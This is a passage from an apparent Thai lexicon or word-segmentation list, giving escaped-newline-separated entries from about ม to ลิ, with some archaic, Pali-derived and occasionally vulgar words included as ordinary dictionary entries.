เรศ\\nมยูร\\nมรกต\\nมรคา\\nมรฑป\\nมรณ์\\nมรณะ\\nมรณกรรม\\nมรณบัตร\\nมรณภัย\\nมรณภาพ\\nมรดก\\nมรรค\\nมรรคา\\nมรรตัย\\nมรรยาท\\nมรรษ\\nมรสุม\\nมริจ\\nมริยาท\\nมรีจิ\\nมรุต\\nมฤค\\nมฤคย์\\nมฤคศิระ\\nมฤคศิรมาส\\nมฤคเศียร\\nมฤคินทร์\\nมฤเคนทร์\\nมฤดก\\nมฤต\\nมฤตยู\\nมฤทุ\\nมล\\nมละ\\nมลัก\\nมลังเมลือง\\nมล้าง\\nมลาย\\nมลายู\\nมวก\\nม่วง\\nมวน\\nม่วน\\nม้วน\\nม้วนต้วน\\nมวย\\nม้วย\\nมวล\\nมหกรรม\\nมหรณพ\\nมหรรณพ\\nมหรสพ\\nมหัจฉริยะ\\nมหัต\\nมหัทธนะ\\nมหันต์\\nมหันตโทษ\\nมหัพภาค\\nมหัศจรรย์\\nมหา\\nมหากฐิน\\nมหากาฬ\\nมหาขันธกะ\\nมหาจักร\\nมหาชน\\nมหาชัย\\nมหาชาติ\\nมหาโชตรัต\\nมหาดไทย\\nมหาดเล็ก\\nมหาตมะ\\nมหาไถ่\\nมหาเทพ\\nมหาเทพี\\nมหาเทวี\\nมหาธาตุ\\nมหานิกาย\\nมหานิล\\nมหาบพิตร\\nมหาบัณฑิต\\nมหาพน\\nมหาพรหม\\nมหาภารตะ\\nมหาภิเนษกรมณ์\\nมหาภูต\\nมหาเมฆ\\nมหายาน\\nมหายุค\\nมหาราช\\nมหาฤกษ์\\nมหาละลวย\\nมหาละลาย\\nมหาวงศ์\\nมหาวรรค\\nมหาวิทยาลัย\\nมหาศักราช\\nมหาศาล\\nมหาสงกรานต์\\nมหาสดมภ์\\nมหาสดำ\\nมหาสมุทร\\nมหาสาวก\\nมหาหงส์\\nมหาหิงคุ์\\nมหาอำนาจ\\nมหาอุจ\\nมหาอุด\\nมหาอุปรากร\\nมหาอุปราช\\nมหิ\\nมหิดล\\nมหิธร\\nมหิป\\nมหิงส์\\nมหิทธิ\\nมหินท์\\nมหิมา\\nมหิศร\\nมหิศวร\\nมหิษ\\nมหิษี\\nมหึมา\\nมเหยงค์\\nมเหศ\\nมเหศวร\\nมเหศักดิ์\\nมเหสักข์\\nมเหสิ\\nมเหสี\\nมเหาฬาร\\nมโหรสพ\\nมโหระทึก\\nมโหรี\\nมโหฬาร\\nมไหศวรรย์\\nมอ\\nมอง\\nมองโกลอยด์\\nมองโกเลีย\\nมองคร่อ\\nมอญ\\nมอด\\nม่อต้อ\\nมอเตอร์\\nมอเตอร์ไซค์\\nมอน\\nม่อน\\nมอบ\\nมอม\\nมอมแมม\\nม่อย\\nมอร์ฟีน\\nมอระกู่\\nมอลโทส\\nม่อลอกม่อแลก\\nม่อห้อม\\nม่อฮ่อม\\nมะ\\nมะกรูด\\nมะกล่ำ\\nมะกอก\\nมะก่อง\\nมะกะโรนี\\nมะกา\\nมะเกลือ\\nมะเกี๋ยง\\nมะข่วง\\nมะขวิด\\nมะขาม\\nมะเขือ\\nมะแข่น\\nมะคังแดง\\nมะค่า\\nมะคำไก่\\nมะคำดีควาย\\nมะงั่ว\\nมะงุมมะงาหรา\\nมะซัก\\nมะซาง\\nมะดัน\\nมะดีหวี\\nมะดูก\\nมะเดหวี\\nมะเดื่อ\\nมะต้อง\\nมะตะบะ\\nมะตาด\\nมะตาหะรี\\nมะตึ่ง\\nมะตื๋น\\nมะตูม\\nมะแตก\\nมะโต\\nมะนาว\\nมะปราง\\nมะปริง\\nมะฝ่อ\\nมะพร้าว\\nมะพลับ\\nมะพูด\\nมะแพน\\nมะแพร้ว\\nมะเฟือง\\nมะแฟน\\nมะไฟ\\nมะม่วง\\nมะม่าว\\nมะมี่\\nมะมื่น\\nมะมุด\\nมะเมอ\\nมะเมีย\\nมะเมื่อย\\nมะแม\\nมะยง\\nมะยม\\nมะระ\\nมะริด\\nมะรืน\\nมะรุม\\nมะรุมมะตุ้ม\\nมะเร็ง\\nมะเรื่อง\\nมะโรง\\nมะลอกมะแลก\\nมะละกอ\\nมะลิ\\nมะลื่น\\nมะลืมดำ\\nมะลุลี\\nมะแว้ง\\nมะสัง\\nมะเส็ง\\nมะหวด\\nมะหะหมัด\\nมะหาด\\nมะหิ่ง\\nมะเหงก\\nมะอึก\\nมะฮอกกานี\\nมัก\\nมักกะโรนี\\nมักกะลีผล\\nมักกะสัน\\nมักขะ\\nมั่กขั้ก\\nมักขิกา\\nมัค\\nมัคคะ\\nมัคคุเทศก์\\nมัคนายก\\nมัฆวาน\\nมั่ง\\nมังกง\\nมังกร\\nมังกุ\\nมังคละ\\nมังค่า\\nมังคุด\\nมังตาน\\nมังสวิรัติ\\nมังสะ\\nมังสี\\nมัจจะ\\nมัจจุ\\nมัจฉริยะ\\nมัจฉรี\\nมัจฉะ\\nมัจฉา\\nมัชชะ\\nมัชวิรัติ\\nมัชชาระ\\nมัชฌันติกสมัย\\nมัชฌิม\\nมัชฌิมา\\nมัญจา\\nมัญชิษฐา\\nมัญชุ\\nมัญชุสา\\nมัญชูสา\\nมัญเชฏฐะ\\nมัฏฐะ\\nมัณฑนศิลป์\\nมัณฑนา\\nมัด\\nมัตตะ\\nมัตตัญญู\\nมัตตา\\nมัตติกา\\nมัตถกะ\\nมัตถลุงค์\\nมัตสยะ\\nมัตสยา\\nมัตสระ\\nมัตสริน\\nมัททวะ\\nมัทนะ\\nมัทยะ\\nมัธยฐาน\\nมัธยม\\nมัธยันห์\\nมัธยัสถ์\\nมัน\\nมั่น\\nมันตา\\nมันถะ\\nมันทิระ\\nมันทิราลัย\\nมับ\\nมั้ม\\nมัมมี่\\nมัย\\nมัลละ\\nมัลลิกา\\nมัว\\nมัวซัว\\nมั่ว\\nมัศยา\\nมัสตุ\\nมัสตาร์ด\\nมัสมั่น\\nมัสยิด\\nมัสรู่\\nมัสลิน\\nมัสสุ\\nมา\\nม้า\\nมาก\\nมาคสิระ\\nมาฆบูชา\\nมาฆะ\\nม้าง\\nมางสะ\\nมาณพ\\nมาณวิกา\\nมาด\\nมาดา\\nมาตงค์\\nมาตร\\nมาตรา\\nมาตฤ\\nมาตังคะ\\nมาตา\\nมาตามหัยกะ\\nมาตามหัยกา\\nมาตามหัยยิกา\\nมาติกะ\\nมาติกา\\nมาตุ\\nมาตุจฉา\\nมาตุรงค์\\nมาตุเรศ\\nมาตุละ\\nมาตุลา\\nมาตุลานี\\nมาทะ\\nมาธยมิก\\nมาธยมิกะ\\nมาธุระ\\nมาธุสร\\nมาธูระ\\nมาน\\nม่าน\\nม้าน\\nมานพ\\nมานะ\\nมานัต\\nมานัส\\nมานิต\\nมานี\\nมานุษ\\nมานุษยวิทยา\\nมาโนชญ์\\nมาบ\\nมาภา\\nม้าม\\nม่าย\\nมายา\\nมาร\\nมาราธิราช\\nมารค\\nมารดร\\nมารดา\\nมารยา\\nมารยาท\\nมารศรี\\nมารษา\\nมาริต\\nมารุต\\nมาลย์\\nมาลัย\\nมาลา\\nมาลาตี\\nมาลาเรีย\\nมาลินี\\nมาลี\\nมาลุต\\nมาศ\\nมาส\\nมาสก\\nมาห์\\nม่าห์\\nมาหิส\\nม่าเหมี่ยว\\nมาฬก\\nมิ\\nมิค\\nมิคสัญญี\\nมิ่ง\\nมิจฉา\\nมิด\\nมิตร\\nมิติ\\nมิเตอร์\\nมิถยา\\nมิถุน\\nมิถุนายน\\nมิทธะ\\nมินตรา\\nมินตา\\nมินหม้อ\\nมิ่ม\\nมิ้ม\\nมิไย\\nมิรันตี\\nมิลลิกรัม\\nมิลลิบาร์\\nมิลลิเมตร\\nมิลลิลิตร\\nมิลักขะ\\nมิลักขู\\nมิส\\nมิสกรี\\nมิสกวัน\\nมิสซา\\nมี\\nมี่\\nมีด\\nมีเทน\\nมีน\\nมีนาคม\\nมี่สั้ว\\nมึง\\nมึน\\nมืด\\nมืน\\nมื่น\\nมือ\\nมื้อ\\nมุ\\nมุก\\nมุกดา\\nมุกดาหาร\\nมุกุระ\\nมุข\\nมุขเด็จ\\nมุขยประโยค\\nมุโขโลกนะ\\nมุคคะ\\nมุง\\nมุ่ง\\nมุ้ง\\nมุจฉา\\nมุจนะ\\nมุจลินท์\\nมุญจนะ\\nมุญชะ\\nมุฐิ\\nมุณฑกะ\\nมุณฑะ\\nมุด\\nมุตกิด\\nมุตฆาต\\nมุตตะ\\nมุตตา\\nมุตติ\\nมุตะ\\nมุติ\\nมุททา\\nมุทธชะ\\nมุทธา\\nมุทธาภิเษก\\nมุทรา\\nมุทริกา\\nมุทะลุ\\nมุทา\\nมุทิกา\\nมุทิงค์\\nมุทิตา\\nมุทุ\\nมุทุตา\\nมุ่น\\nมุนิ\\nมุนินทร์\\nมุนี\\nมุบ\\nมุบมิบ\\nมุม\\nมุ้ม\\nมุ่ย\\nมุรธา\\nมุรธาภิเษก\\nมุสละ\\nมุสลิม\\nมุสา\\nมุสิก\\nมุหงิด\\nมุหน่าย\\nมุหุต\\nมุฮัมมัด\\nมูก\\nมูเซอ\\nมูตร\\nมู่ทู่\\nมูน\\nมูมมาม\\nมูรติ\\nมูรธา\\nมูรธาภิเษก\\nมูล\\nมูละ\\nมูลา\\nมูลิกากร\\nมู่ลี่\\nมู่เล่\\nมูสัง\\nมูสิก\\nมูสิกะ\\nมูสิกทันต์\\nเม\\nเม็ก\\nเมกะเฮิรตซ์\\nเมขลา\\nเมฆ\\nเมฆา\\nเมฆินทร์\\nเมฆี\\nเม็ง\\nเม็ด\\nเมตตา\\nเมตไตรย\\nเมตร\\nเมตริก\\nเมตริกตัน\\nเมถุน\\nเมท\\nเมโท\\nเมทนี\\nเมทินี\\nเมทนีดล\\nเมทานอล\\nเมทิลแอลกอฮอล์\\nเมธ\\nเมธา\\nเมธาวี\\nเมธี\\nเมน\\nเม่น\\nเม้น\\nเมนเดลีเวียม\\nเมนทอล\\nเม้ม\\nเมรัย\\nเมริเดียน\\nเมรุ\\nเมล์\\nเมล็ด\\nเมลือง\\nเมษ\\nเมษายน\\nเมห์\\nเมหนะ\\nเมหะ\\nเมะ\\nเมา\\nเม่า\\nเม้า\\nเมารี\\nเมาลี\\nเมาฬี\\nเมาะ\\nเมิง\\nเมิน\\nเมิล\\nเมีย\\nเมียง\\nเมี่ยง\\nเมี้ยน\\nเมือ\\nเมื้อ\\nเมื่อ\\nเมือก\\nเมือง\\nเมือบ\\nเมื่อย\\nแม่\\nแม้\\nแมก\\nแมกนีเซียม\\nแมง\\nแมงกะพรุน\\nแมงกานิน\\nแมงกานีส\\nแมงคา\\nแมงคาเรือง\\nแมงช้าง\\nแมงดา\\nแมงลัก\\nแม่ตะงาว\\nแมน\\nแม่น\\nแม้น\\nแมลง\\nแมลบ\\nแมว\\nแม้ว\\nแมะ\\nโม\\nโม่\\nโม้\\nโมก\\nโมกข์\\nโมกษะ\\nโมฆกรรม\\nโมฆสัญญา\\nโมฆะ\\nโมฆียกรรม\\nโมฆียะ\\nโมง\\nโม่ง\\nโมงครุ่ม\\nโมทนา\\nโมโนแซ็กคาไรด์\\nโมไนย\\nโมเม\\nโมเมนต์\\nโมเย\\nโมรา\\nโมรี\\nโมเรส\\nโมลิบดีนัม\\nโมลี\\nโมเลกุล\\nโมเสก\\nโมเสส\\nโม่ห์\\nโมหะ\\nโมหันธ์\\nโมหาคติ\\nโมโห\\nไม่\\nไม้\\nไมกา\\nไมครอน\\nไมโครกรัม\\nไมโครฟิล์ม\\nไมโครโฟน\\nไมโครมิเตอร์\\nไมโครเมตร\\nไมโครลิตร\\nไมโครเวฟ\\nไมตรี\\nไมยราบ\\nไมล์\\nยก\\nยกกระบัตร\\nยกนะ\\nยง\\nยงโย่\\nยชุรเวท\\nยติ\\nยติภังค์\\nยถากรรม\\nยถาภูตญาณ\\nย่น\\nยนต์\\nยนตร์\\nยม\\nยมก\\nยมโดย\\nยมนา\\nยมล\\nยมะ\\nยรรยง\\nยล\\nยวง\\nยวด\\nยวน\\nยวบ\\nย้วย\\nยวรยาตร\\nยศ\\nยโส\\nยอ\\nย่อ\\nยอก\\nย็อกแย็ก\\nยอง\\nย่อง\\nย้อง\\nยอด\\nยอน\\nย้อน\\nยอบ\\nยอม\\nย่อม\\nย้อม\\nย่อย\\nย้อย\\nย้อแย้\\nยะ\\nย่ะ\\nยะยอบ\\nยะยับ\\nยัก\\nยักข์\\nยักขินี\\nยักษ์\\nยักษา\\nยักษิณี\\nยักษี\\nยัง\\nยั้ง\\nยั่งยืน\\nยัชโญปวีต\\nยัญ\\nยัญญะ\\nยัด\\nยัติภังค์\\nยัน\\nยั่น\\nยันต์\\nยันตร\\nยันตร์\\nยันตรกรรม\\nยั่นตะนี\\nยับ\\nยั่ว\\nยั้ว\\nยั้วเยี้ย\\nยัวรยาตร\\nยัวะ\\nยัษฏิ\\nยา\\nย่า\\nยาก\\nยาคุ\\nยาคู\\nยาง\\nย่าง\\nยางพารา\\nยาจก\\nยาจนา\\nยาไฉน\\nยาด\\nยาดา\\nยาตร\\nยาตรา\\nยาน\\nย่าน\\nย่านพาโหม\\nยานมาศ\\nยานุมาศ\\nยานี\\nยาม\\nย่าม\\nยามะ\\nยามักการ\\nยามา\\nยาย\\nย้าย\\nยายี\\nยาว\\nย้าว\\nยาวกาลิก\\nยาวชีวิก\\nยาสูบ\\nย่าหยา\\nยาหยี\\nยำ\\nย่ำ\\nย้ำ\\nยำเยีย\\nยิก\\nยิง\\nยิ่ง\\nยิฏฐะ\\nยิน\\nยิบ\\nยิบหยี\\nยิปซัม\\nยิปซี\\nยิ้ม\\nยิมนาสติก\\nยิหวา\\nยี\\nยี่\\nยี้\\nยี่ก่า\\nยี่เก\\nยี่เข่ง\\nยี่โถ\\nยีน\\nยี่โป้\\nยี่ภู่\\nยีราฟ\\nยี่สก\\nยี่สง\\nยี่สน\\nยี่สาน\\nยี่สุ่น\\nยี่หระ\\nยี่หร่า\\nยี่ห้อ\\nยี่หุบ\\nยึกยัก\\nยึกยือ\\nยึด\\nยืด\\nยืน\\nยื่น\\nยืม\\nยื้อ\\nยุ\\nยุกกระบัตร\\nยุกดิ\\nยุกติ\\nยุกติธรรม\\nยุกต์\\nยุค\\nยุคนธร\\nยุคล\\nยุคันต์\\nยุคันธร\\nยุคุนธร\\nยุง\\nยุ่ง\\nยุ้ง\\nยุด\\nยุต\\nยุติ\\nยุทธ\\nยุทธ์\\nยุทธนา\\nยุทโธปกรณ์\\nยุบ\\nยุ่บ\\nยุ่บยั่บ\\nยุบล\\nยุพดี\\nยุพเรศ\\nยุพา\\nยุพาน\\nยุพาพาล\\nยุพาพิน\\nยุ่มย่าม\\nยุ่ย\\nยุ้ย\\nยุรยาตร\\nยูรยาตร\\nยุวชน\\nยุวดี\\nยุวราช\\nยุวา\\nยุวาน\\nยู\\nยู่\\nยูง\\nยูโด\\nยูถะ\\nยูถิกา\\nยูริก\\nยูเรนัส\\nยูเรเนียม\\nยูโรเพียม\\nเย\\nเย้\\nเยง\\nเยซู\\nเย็ด\\nเย็น\\nเย็นตาโฟ\\nเย็นเตาโฟ\\nเย็บ\\nเย้ย\\nเยอ\\nเย่อ\\nเยอรมัน\\nเยอว\\nเย่อหยิ่ง\\nเยอะ\\nเยอะแยะ\\nเยา\\nเย้า\\nเยาว์\\nเยาวชน\\nเยาวมาลย์\\nเยาวยอด\\nเยาวราช\\nเยาวเรศ\\nเยาวลักษณ์\\nเยาวพา\\nเยาวพาณี\\nเยาวพาน\\nเยาะ\\nเยิง\\nเยิน\\nเยิ่น\\nเยิ่นเย้อ\\nเยินยอ\\nเยิบ\\nเยิบยาบ\\nเยิ้ม\\nเยีย\\nเยี่ยง\\nเยี่ยงอย่าง\\nเยียงผา\\nเยียดยัด\\nเยียน\\nเยียบ\\nเยี่ยม\\nเยียรบับ\\nเยียรยง\\nเยียว\\nเยี่ยว\\nเยียวยา\\nเยือ\\nเยื่อ\\nเยื้อ\\nเยือก\\nเยือง\\nเยื่อง\\nเยื้อง\\nเยือน\\nเยื้อน\\nแย่\\nแย้\\nแยก\\nแยง\\nแย่ง\\nแย้ง\\nแยงแย่\\nแยงแย้\\nแยบ\\nแย็บ\\nแยม\\nแย้ม\\nแยแส\\nแยะ\\nโย\\nโย้\\nโยก\\nโยกเยก\\nโยคาพจร\\nโยคาวจร\\nโยคเกณฑ์\\nโยคยะ\\nโยคะ\\nโยคิน\\nโยคี\\nโยง\\nโย่ง\\nโย่งเย่ง\\nโยงโย่\\nโยชน์\\nโยชนา\\nโยถิกะ\\nโยทะกา\\nโยธวาทิต\\nโยธา\\nโยธิน\\nโยน\\nโยนก\\nโยนิโส\\nโยนี\\nโยม\\nโยโส\\nใย\\nไย\\nไย่\\nไยดี\\nไยไพ\\nรก\\nรง\\nรงค์\\nรงควัตถุ\\nรงรอง\\nรจนา\\nรจเรข\\nรจเลข\\nรจิต\\nรชตะ\\nรชนิ\\nรชนี\\nรชะ\\nรณรงค์\\nรด\\nรดี\\nรตนะ\\nรตะ\\nรติ\\nรถ\\nรน\\nร่น\\nรบ\\nรบาญ\\nรพี\\nรม\\nร่ม\\nรมณี\\nรมณีย์\\nรมณียสถาน\\nรมย์\\nรมเยศ\\nรยางค์\\nรวก\\nรวง\\nร่วง\\nรวด\\nรวน\\nรวนเร\\nร่วน\\nรวบ\\nรวม\\nร่วม\\nรวย\\nรวิ\\nรวิวาร\\nรวี\\nรศนา\\nรส\\nรสนา\\nรสสุคนธ์\\nรสายนเวท\\nรสิก\\nรหัท\\nรหัส\\nรโห\\nรโหฐาน\\nรอ\\nร่อ\\nรอก\\nรอง\\nร่อง\\nร้อง\\nรองเง็ง\\nร่องแร่ง\\nรอด\\nรอน\\nร่อน\\nร้อน\\nรอบ\\nรอบคอบ\\nรอม\\nรอมชอม\\nรอมร่อ\\nรอย\\nร่อย\\nร้อย\\nร่อแร่\\nระ\\nระกะ\\nระกา\\nระกำ\\nระเกะระกะ\\nระคน\\nระคาง\\nระคาย\\nระแคะ\\nระฆัง\\nระงม\\nระงับ\\nระแง้\\nระโงกหิน\\nระชวย\\nระดม\\nระดะ\\nระดับ\\nระดา\\nระด่าว\\nระดู\\nระเด่น\\nระเดียง\\nระแด\\nระตู\\nระทก\\nระทด\\nระทม\\nระทวย\\nระทา\\nระทึก\\nระแทะ\\nระนาด\\nระนาบ\\nระนาม\\nระนาว\\nระเนน\\nระเนระนาด\\nระเนียด\\nระแนง\\nระแนะ\\nระบบ\\nระบม\\nระบอบ\\nระบัด\\nระบับ\\nระบาด\\nระบาย\\nระบำ\\nระบิล\\nระบือ\\nระบุ\\nระเบง\\nระเบ็ง\\nระเบิด\\nระเบียง\\nระเบียน\\nระเบียบ\\nระแบบ\\nระมัดระวัง\\nระมาด\\nระเมียร\\nระย่อ\\nระย่อม\\nระยะ\\nระยั้ง\\nระยับ\\nระย้า\\nระยาบ\\nระยำ\\nระยิบระยับ\\nระโยง\\nระโยงระยาง\\nระรวย\\nระรอง\\nระร่อน\\nระรัว\\nระราน\\nระร่าย\\nระริก\\nระรี่\\nระรึง\\nระรื่น\\nระรื้น\\nระเร้ง\\nระเริง\\nระเรียง\\nระเรื่อย\\nระแรง\\nระลวง\\nระลอก\\nระลึก\\nระวัง\\nระวาง\\nระวาย\\nระวิง\\nระแวง\\nระแวดระวัง\\nระไว\\nระส่ำระสาย\\nระหกระเหิน\\nระหง\\nระหวย\\nระหว่าง\\nระหองระแหง\\nระหัด\\nระหาย\\nระเห็จ\\nระเหย\\nระเหระหน\\nระเหหน\\nระเหิด\\nระเหินระหก\\nระแหง\\nระโหย\\nระอา\\nระอิดระอา\\nระอุ\\nรัก\\nรักข์\\nรักขิต\\nรักตะ\\nรักบี้\\nรักเร่\\nรักแร้\\nรักษ์\\nรักษา\\nรัง\\nรั้ง\\nรังเกียจ\\nรังแก\\nรังค์\\nรังควาน\\nรังแค\\nรังรอง\\nรังวัด\\nรังสิ\\nรังสี\\nรังสิมันตุ์\\nรังสิมา\\nรัจฉา\\nรัช\\nรัชชูปการ\\nรัชมังคลาภิเษก\\nรัชชุ\\nรัชฎาภิเษก\\nรัชดาภิเษก\\nรัชนะ\\nรัชนี\\nรัญจวน\\nรัฏฐาภิปาลโนบาย\\nรัฐ\\nรัฐประศาสโนบาย\\nรัฐประศาสนศาสตร์\\nรัด\\nรัต\\nรัตกัมพล\\nรัตมณี\\nรัตคน\\nรัตจันทน์\\nรัตตัญญู\\nรัตติ\\nรัตน์\\nรัตนะ\\nรัตนโกสินทร์\\nรัตนโกสินทรศก\\nรัตนชาติ\\nรัตนตรัย\\nรัตนบัลลังก์\\nรัตนวราภรณ์\\nรัตนสิงหาสน์\\nรัตนา\\nรัตนากร\\nรัตนาภรณ์\\nรัตนาวลี\\nรัตมา\\nรัถ\\nรัถยา\\nรัทเทอร์ฟอร์เดียม\\nรัน\\nรั้น\\nรันทด\\nรันทวย\\nรับ\\nรัมณียสถาน\\nรัมภา\\nรัมมี่\\nรัมย์\\nรัย\\nรัว\\nรั่ว\\nรั้ว\\nรัศมิมัต\\nรัศมิมาน\\nรัศมี\\nรัษฎากร\\nรัสเซีย\\nรัสสะ\\nรัสสระ\\nรา\\nร่า\\nร้า\\nราก\\nรากษส\\nรากสาด\\nราคะ\\nราคจริต\\nราคา\\nราคิน\\nราคี\\nราง\\nร่าง\\nร้าง\\nรางจืด\\nรางชาง\\nรางวัล\\nราช\\nราชกิจจานุเบกษา\\nราชนิกุล\\nราชวโรงการ\\nราชญี\\nราชดัด\\nราชพฤกษ์\\nราชมาณพ\\nราชมาษ\\nราชมาส\\nราชย์\\nราชสีห์\\nราชะ\\nราชัน\\nราชันย์\\nราชัย\\nราชา\\nราชาธิปไตย\\nราชาธิราช\\nราชาภิเษก\\nราชายตนะ\\nราชาวดี\\nราชี\\nราชินิกุล\\nราชินีกุล\\nราชินี\\nราชินูปถัมภ์\\nราชูปถัมภ์\\nราชูปโภค\\nราเชน\\nราเชนทร์\\nราเชนทรยาน\\nราโชวาท\\nราไชศวรรย์\\nราญ\\nราญรอน\\nราด\\nราต\\nราตร\\nราตรี\\nราน\\nร่าน\\nร้าน\\nราบ\\nราพณ์\\nราพณาสูร\\nราม\\nรามเกียรติ์\\nรามสูร\\nรามัญ\\nรามา\\nราย\\nร่าย\\nร้าย\\nราว\\nร้าว\\nราวี\\nราศี\\nราษฎร\\nราษฎร์\\nราษตรี\\nราษราตรี\\nราหุ\\nราหู\\nรำ\\nร่ำ\\nรำคาญ\\nรำงับ\\nรำจวน\\nรำบาญ\\nรำพัน\\nรำพาย\\nรำพึง\\nรำเพย\\nรำไพ\\nรำมะนา\\nรำมะนาด\\nรำมะร่อ\\nร่ำรวย\\nร่ำร่ำ\\nรำไร\\nรำลึก\\nรำหัด\\nรำหัส\\nริ\\nริก\\nริดสีดวง\\nริน\\nริ้น\\nริบ\\nริบบิ้น\\nริบรี่\\nริบหรี่\\nริปุ\\nริปู\\nริม\\nริ้ว\\nริษยา\\nรี\\nรี่\\nรี้พล\\nรีด\\nรีดักชัน\\nรีต\\nรีเนียม\\nรีบ\\nรีม\\nรีรอ\\nรี้ริก\\nรึง\\nรึ้ง\\nรื่น\\nรื้น\\nรื้อ\\nรุ\\nรุก\\nรุกข์\\nรุกขชาติ\\nรุกขเทวดา\\nรุกขมูล\\nรุกขา\\nรุกรุย\\nรุ่ง\\nรุ้ง\\nรุงรัง\\nรุ่งริ่ง\\nรุจ\\nรุจา\\nรุจนะ\\nรุจิ\\nรุจี\\nรุจิระ\\nรุจิรา\\nรุด\\nรุต\\nรุทธ์\\nรุทระ\\nรุธิร\\nรุธิระ\\nรุเธียร\\nรุน\\nรุ่น\\nรุบรู่\\nรุม\\nรุ่ม\\nรุ่มร่าม\\nรุย\\nรุ่ย\\nรุรุ\\nรุหะ\\nรู\\nรู่\\nรู้\\nรูจี\\nรูด\\nรูทีเนียม\\nรูบิเดียม\\nรูป\\nรูปิยะ\\nรูปี\\nรูเล็ตต์\\nเร่\\nเรข\\nเรขา\\nเรขาคณิต\\nเร็ง\\nเร่ง\\nเร้ง\\nเรณุ\\nเรณู\\nเรดอน\\nเรดาร์\\nเรเดียม\\nเร้น\\nเรรวน\\nเรไร\\nเร็ว\\nเร่ว\\nเรวดี\\nเรอ\\nเร่อ\\nเรา\\nเร่า\\nเร้า\\nเราะ\\nเริง\\nเริด\\nเริม\\nเริ่ม\\nเริ้ม\\nเริศร้าง\\nเรี่ย\\nเรี้ย\\nเรียก\\nเรียง\\nเรียด\\nเรียน\\nเรียบ\\nเรียม\\nเรี่ยม\\nเรียว\\nเรี่ยว\\nเรี้ยวรก\\nเรือ\\nเรื่อ\\nเรื้อ\\nเรือก\\nเรือง\\nเรื่อง\\nเรื้อง\\nเรืองรอง\\nเรือด\\nเรือน\\nเรื้อน\\nเรื่อย\\nแร\\nแร่\\nแรก\\nแร็กเกต\\nแรง\\nแร่ง\\nแร้ง\\nแรด\\nแร้นแค้น\\nแรม\\nแร้ว\\nแระ\\nโร\\nโร่\\nโรค\\nโรคา\\nโรคาพาธ\\nโรง\\nโรจ\\nโรจน์\\nโรเดียม\\nโรตี\\nโรท\\nโรธ\\nโรม\\nโรมัน\\nโรเมอร์\\nโรย\\nโรเร\\nโรหิณี\\nโรหิต\\nไร\\nไร่\\nไร้\\nไรย์\\nฤกษ์\\nฤกษณะ\\nฤคเวท\\nฤชา\\nฤชุ\\nฤณ\\nฤดี\\nฤดียา\\nฤดู\\nฤต\\nฤติยา\\nฤตุ\\nฤทธา\\nฤทธิ์\\nฤทัย\\nฤษภ\\nฤษยา\\nฤษี\\nฤๅ\\nฤๅดี\\nฤๅทัย\\nฤๅษี\\nฤๅสาย\\nลก\\nล่ก\\nลฆุ\\nลง\\nล่ง\\nลงกา\\nล้งเล้ง\\nลด\\nลดา\\nลดาวัลย์\\nลน\\nล้น\\nลบ\\nลบอง\\nลพ\\nลพุช\\nลม\\nล่ม\\nล้ม\\nลมาด\\nลรรลุง\\nลลนา\\nลลิต\\nลวก\\nลวง\\nล่วง\\nล้วง\\nลวณะ\\nลวด\\nล้วน\\nลวนลาม\\nลวนะ\\nล่วม\\nลวะ\\nลวิตร\\nลหุ\\nลหุกาบัติ\\nล่อ\\nล้อ\\nลอก\\nล็อก\\nล็อกเกต\\nลอกแลก\\nลอการิทึม\\nลอง\\nล่อง\\nลองกอง\\nลองจิจูด\\nลองไน\\nลอด\\nลอตเตอรี่\\nลอน\\nล่อน\\nลอบ\\nลอม\\nล้อม\\nลอมชอม\\nลอมพอก\\nลอย\\nล่อย\\nล่อแล่\\nลอว์เรนเซียม\\nลออ\\nละ\\nล่ะ\\nละคร\\nละติจูด\\nละบม\\nละบอง\\nละบือ\\nละเบ็ง\\nละโบม\\nละม่อม\\nละมั่ง\\nละมาน\\nละม้าย\\nละมุ\\nละมุด\\nละมุน\\nละเมอ\\nละเมาะ\\nละเมิด\\nละเมียด\\nละแมะ\\nละโมก\\nละโมบ\\nละไม\\nละลวย\\nละลอก\\nละล้า\\nละล้าละลัง\\nละลาน\\nละลาบละล้วง\\nละลาย\\nละล้าว\\nละล่ำละลัก\\nละลิบ\\nละลุม\\nละเลง\\nละเล้า\\nละเลาะ\\nละเลิง\\nละเลียด\\nละเลียบ\\nละไล้\\nละว้า\\nละวาด\\nละเวง\\nละแวก\\nละโว้\\nละหมาด\\nละห้อย\\nละหาน\\nละหาร\\nละหุ่ง\\nละเหย\\nละเหี่ย\\nละอง\\nละออง\\nละอาย\\nละเอียด\\nละแอน\\nลัก\\nลักขณะ\\nลักขณา\\nลักขะ\\nลักขี\\nลักจั่น\\nลักปิดลักเปิด\\nลักษณ์\\nลักษณนาม\\nลักษณะ\\nลักษณาการ\\nลักษมณ์\\nลักษมาณา\\nลักษมี\\nลักษะ\\nลัคคะ\\nลัคน์\\nลัคนา\\nลัง\\nลั่ง\\nลังกา\\nลังคี\\nลังถึง\\nลังลอง\\nลังเล\\nลังสาด\\nลัชชา\\nลัชชี\\nลัญจ์\\nลัญจกร\\nลัญฉกร\\nลัญฉน์\\nลัฐิ\\nลัฐิกา\\nลัด\\nลัดา\\nลัทธ์\\nลัทธิ\\nลัน\\nลั่น\\nลันเต\\nลันเตา\\nลันไต\\nลั่นทม\\nลันโทม\\nลับ\\nลัพธ์\\nลัพธิ\\nลัภ\\nลัภนะ\\nลัภย์\\nลัมพ์\\nลัย\\nลา\\nล่า\\nล้า\\nลาก\\nลาง\\nล่าง\\nล้าง\\nลางลิง\\nลางสาด\\nลาช\\nลาชะ\\nลาชา\\nลาญ\\nลาด\\nลาดเลา\\nล้าต้า\\nล่าเตียง\\nลาน\\nล่าน\\nล้าน\\nลาบ\\nลาพอน\\nลาภ\\nลาม\\nล่าม\\nลามก\\nลาย\\nล้าย\\nลายสือ\\nลาลา\\nลาว\\nลาวัณย์\\nลาวา\\nลำ\\nล่ำ\\nล้ำ\\nลำเข็ญ\\nลำแข\\nลำเค็ญ\\nลำเจียก\\nลำดวน\\nลำดับ\\nลำเนา\\nลำบอง\\nลำบาก\\nลำปำ\\nลำพวน\\nลำพอง\\nลำพัง\\nลำพู\\nลำเพ็ญ\\nลำเพา\\nลำแพน\\nลำโพง\\nลำไพ่\\nลำภุขัน\\nลำมะลอก\\nลำยอง\\nลำไย\\nลำลอง\\nล่ำลา\\nลำลาบ\\nลำลึก\\nลำเลาะ\\nลำเลิก\\nลำเลียง\\nลำเวียง\\nลำเอียก\\nลำเอียง\\nลิ\\nลิกขา\\nลิกไนต์\\nลิกู\\nลิเก\\nลิขนะ\\nลิขสิทธิ์\\nลิขิต\\nลิง\\nลิงค์\\nลิด\\nลิต\\nลิตมัส\\nลิต